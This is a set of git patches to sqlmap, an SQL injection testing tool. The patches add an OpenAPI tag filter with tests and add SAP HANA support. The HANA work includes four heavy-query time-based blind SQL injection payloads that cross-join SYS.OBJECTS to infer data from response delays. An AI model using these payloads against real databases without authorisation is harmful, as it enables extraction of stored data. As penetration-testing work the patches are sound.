=?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 14:13:21 +0200 Subject: [PATCH 09/12] Adding --openapi-tags --- lib/core/option.py | 7 ++++++- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/parse/openapi.py | 9 +++++++-- tests/test_openapi.py | 19 +++++++++++++++++++ 6 files changed, 37 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index ad80c4a5279..d61134aa5ab 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -521,8 +521,13 @@ def _setOpenApiTargets(): logger.info(infoMsg) content = openFile(conf.openApiFile).read() + tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None + if tags: + infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags) + logger.info(infoMsg) + try: - targets = openApiTargets(content, origin) + targets = openApiTargets(content, origin, tags) except ValueError as ex: errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 3e7fa93c499..f51325e4839 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -21,6 +21,7 @@ "configFile": "string", "openApiFile": "string", "openApiBase": "string", + "openApiTags": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 1b227713bab..7cc1507aa27 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.57" +VERSION = "1.10.7.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 817e12f6aa0..f603961bc29 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -150,6 +150,9 @@ def cmdLineParser(argv=None): target.add_argument("--openapi-base", dest="openApiBase", help="Base URL for a host-less OpenAPI/Swagger spec") + target.add_argument("--openapi-tags", dest="openApiTags", + help="Only derive targets from operations with these tag(s)") + # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py index 996b5ece6a4..05054208c06 100644 --- a/lib/parse/openapi.py +++ b/lib/parse/openapi.py @@ -206,15 +206,18 @@ def _baseUrl(spec, origin=None, servers=None): _METHODS = ("get", "post", "put", "delete", "patch", "options", "head") -def openApiTargets(content, origin=None): +def openApiTargets(content, origin=None, tags=None): """ Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin' (scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers' entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry - the custom injection mark so they become testable injection points. + the custom injection mark so they become testable injection points. 'tags' (list) restricts extraction + to operations declaring at least one of those OpenAPI tags (to scope a scan of a large API). """ + tagSet = set(tags) if tags else None + spec = _loadSpec(content) if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification" @@ -236,6 +239,8 @@ def openApiTargets(content, origin=None): for method, operation in item.items(): if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool) continue + if tagSet is not None and not (tagSet & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))): + continue # '--openapi-tags' filter: operation carries none of the requested tags try: # effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root opServers = operation.get("servers") or item.get("servers") diff --git a/tests/test_openapi.py b/tests/test_openapi.py index 40c8cd9305a..f5ed80b464a 100644 --- a/tests/test_openapi.py +++ b/tests/test_openapi.py @@ -134,6 +134,25 @@ def test_header_and_cookie_params_are_injection_marked(self): self.assertEqual(headers["X-Api"], "k" + MARK) self.assertEqual(headers["Cookie"], "sess=v" + MARK) + def test_tag_filter_restricts_operations(self): + # '--openapi-tags' keeps only operations declaring at least one requested tag; untagged + # operations are dropped when a filter is active + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.test"}], "paths": { + "/users/{id}": {"get": {"tags": ["users"], "parameters": [{"name": "id", "in": "path", "schema": {"type": "integer"}}]}}, + "/admin": {"post": {"tags": ["admin"], "parameters": [{"name": "q", "in": "query", "schema": {"type": "string"}}]}}, + "/ping": {"get": {"parameters": [{"name": "x", "in": "query", "schema": {"type": "string"}}]}}}} + content = json.dumps(spec) + + self.assertEqual(len(openApiTargets(content)), 3) # no filter -> everything + self.assertEqual(len(openApiTargets(content, tags=["nope"])), 0) # no match -> nothing (incl. untagged) + + users = openApiTargets(content, tags=["users"]) + self.assertEqual(len(users), 1) + self.assertIn("/users/", users[0][0]) + + both = openApiTargets(content, tags=["users", "admin"]) # union of tags + self.assertEqual(sorted(_[1] for _ in both), ["GET", "POST"]) + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- def test_malformed_raises_valueerror(self): From 3784f8bafd3478392f19aa9e48a75dffd0dcaefd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 17:06:00 +0200 Subject: [PATCH 10/12] Expand SAP HANA: role-aware is_dba, heavy-query time-based, error signatures --- data/xml/errors.xml | 7 +++ data/xml/payloads/time_blind.xml | 77 ++++++++++++++++++++++++++++++++ data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- 4 files changed, 86 insertions(+), 2 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index f066da0b92d..ddf34d51e9a 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -256,4 +256,11 @@ + + + + + + + diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index f521deb8f06..fe9de254cc4 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -2170,5 +2170,82 @@ + + SAP HANA AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ + + SAP HANA OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ + + SAP HANA AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + -- + + + + +
+ SAP HANA +
+
+ + + SAP HANA time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3,9 + 3 + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 55b6a6d7ee3..a56c6a64683 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1959,7 +1959,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index e6aa502b36c..9d30f29ba3e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.59" +VERSION = "1.10.7.60" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2aafdc0e46a82912a7fd02bc52df55956f4beee5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 17:19:10 +0200 Subject: [PATCH 11/12] Update of THANKS.md --- doc/THANKS.md | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index fcc746a266a..aa636fdeb20 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -623,6 +623,9 @@ Thierry Zoller, Zhen Zhou, * for suggesting a feature +Zakaria Zoulati, +* for contributing SAP HANA support + -insane-, * for reporting a minor bug diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d30f29ba3e..4b82bc89063 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.60" +VERSION = "1.10.7.61" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2a9da9d9e586c3a8adf3cb70f62cfecd447b9cbb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 17:32:05 +0200 Subject: [PATCH 12/12] Fixing CI/CD errors --- data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- tests/test_agent.py | 2 ++ 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index a56c6a64683..b72925b1c58 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1951,7 +1951,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 4b82bc89063..98fe36e4469 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.61" +VERSION = "1.10.7.62" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_agent.py b/tests/test_agent.py index 203e2789691..211fbb7fd8a 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -94,6 +94,7 @@ "PostgreSQL": "COALESCE", "Presto": "COALESCE", "Raima Database Manager": "IFNULL", + "SAP HANA": "IFNULL", "SAP MaxDB": "VALUE", "SQLite": "COALESCE", "Snowflake": "NVL", @@ -115,6 +116,7 @@ "Oracle": "RAWTOHEX(", "PostgreSQL": "ENCODE(", "Presto": "TO_HEX(", + "SAP HANA": "BINTOHEX(", "SAP MaxDB": "HEX(", "SQLite": "HEX(", "Spanner": "TO_HEX(",